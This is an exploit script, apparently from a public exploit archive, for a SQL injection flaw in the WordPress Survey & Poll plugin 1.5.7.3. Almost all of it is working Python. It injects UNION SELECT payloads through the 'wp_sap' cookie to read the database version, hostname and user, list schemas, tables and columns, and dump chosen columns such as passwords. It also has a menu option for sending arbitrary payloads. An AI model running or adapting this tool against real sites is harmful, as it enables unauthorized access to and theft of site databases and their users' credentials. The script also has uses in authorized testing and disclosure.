WordPress Survey And Poll 1.5.7.3 SQL Injection

`# Exploit Title: WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection (2)  
# Date: 2021-09-07  
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)  
# Vendor Homepage: http://modalsurvey.pantherius.com/  
# Software Link: https://downloads.wordpress.org/plugin/wp-survey-and-poll.zip  
# Version: 1.5.7.3  
# Tested on: MariaDB,MYSQL  
  
#!/usr/bin/python3  
  
import requests  
import re  
import warnings  
from bs4 import BeautifulSoup, CData  
import sys  
import argparse  
import os  
import time  
from termcolor import colored  
import validators  
  
#Install all the requirements  
  
"""  
pip3 install requests  
pip3 install bs4  
pip3 install argparse  
pip3 install termcolor  
pip3 install validators  
  
"""  
  
  
parser = argparse.ArgumentParser(description='WP Plugin Survey & Poll V1.5.7.3 SQL Injection (sss_params)')  
parser.add_argument('-u',help='Poll & Survey page URL')  
args = parser.parse_args()  
  
url = args.u  
  
  
if len(sys.argv) !=3:  
parser.print_help(sys.stderr)  
sys.exit()  
  
if not validators.url(url):  
print(colored("\r\nEnter URL with http:// or https://\r\n",'red'))  
parser.print_help(sys.stderr)  
sys.exit()  
  
  
def currect_db_name():  
payload= """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,database(),11#"]"""  
inject(payload)  
  
  
def db_version():  
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]"""  
inject(payload)  
  
  
def hostname():  
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@hostname,11#"]"""  
inject(payload)  
  
  
def current_user():  
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,user(),11#"]"""  
inject(payload)  
  
  
def list_databases():  
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(schema_name),11 from information_schema.schemata#"]"""  
inject(payload)  
  
def list_tables_db():  
db = input("\r\nDatabase : ")  
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(table_name),11 from information_schema.tables where table_schema='%s'#"]""" %(db)  
inject(payload)   
  
  
def list_columns_db():  
db = input("\r\nDatabase : ")  
table = input("Table : ")  
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(column_name),11 from information_schema.columns where table_schema='%s' and table_name='%s'#"]""" %(db,table)  
inject(payload)   
  
  
def dump_db():  
db = input("\r\nDatabase: ")  
table = input("Table: ")  
column = input("Columns Eg: users,password : ")  
dump = "%s.%s" %(db,table)  
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(%s),11 from %s.%s#"]""" %(column,db,table)  
inject(payload)   
  
  
def custom_payload():  
payload = input("\r\nPayload : ")  
inject(payload)  
  
def inject(inject_payload):  
  
request = requests.Session()  
  
cookies = {  
'wp_sap': inject_payload,  
  
}  
print("\r\n"+colored("Sending Payload :",'red')+" %s\r\n" %colored((inject_payload),'green'))  
response = request.get(url,cookies=cookies)  
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')  
soup = BeautifulSoup(response.text,features="lxml")  
cdata = soup.find(text=re.compile("CDATA"))  
split_cdata = list(cdata.split(':'))  
output = split_cdata[11]  
print("\r\n"+colored("SQLI OUTPUT :",'red')+" %s\r\n" %colored((output),'green'))  
time.sleep(1)  
main()  
  
  
  
def main():  
print ("Automated SQL Injector (wp-survey-and-poll)")  
print ("Enter the respective number to select option")  
print ("#EXAMPLE Option : 1\r\n")  
  
  
  
print("Option 1 : Grab Database Version")  
print("Option 2 : Get Current Database Name")  
print("Option 3 : Get Hostname ")  
print("Option 4 : Get Current User")  
print("Option 5 : List All Databases")  
print("Option 6 : List Tables From Database")  
print("Option 7 : List Columns from Tables")  
print("Option 8 : Dump Database")  
print("Option 9 : Custom Payload")  
print("Option 10 : Exit")  
  
  
print("\r\n")  
option_selected = str(input("Select Option : "))  
  
  
if(option_selected=="1"):  
db_version()  
  
if(option_selected=="2"):  
currect_db_name()  
  
if(option_selected=="3"):  
hostname()  
  
if(option_selected=="4"):  
current_user()  
  
if(option_selected=="5"):  
list_databases()  
  
if(option_selected=="6"):  
list_tables_db()  
  
if(option_selected=="7"):  
list_columns_db()  
  
if(option_selected=="8"):  
dump_db()  
  
if(option_selected=="9"):  
custom_payload()  
  
if(option_selected=="10"):  
sys.exit()  
  
else:  
main()  
  
main()  
  
`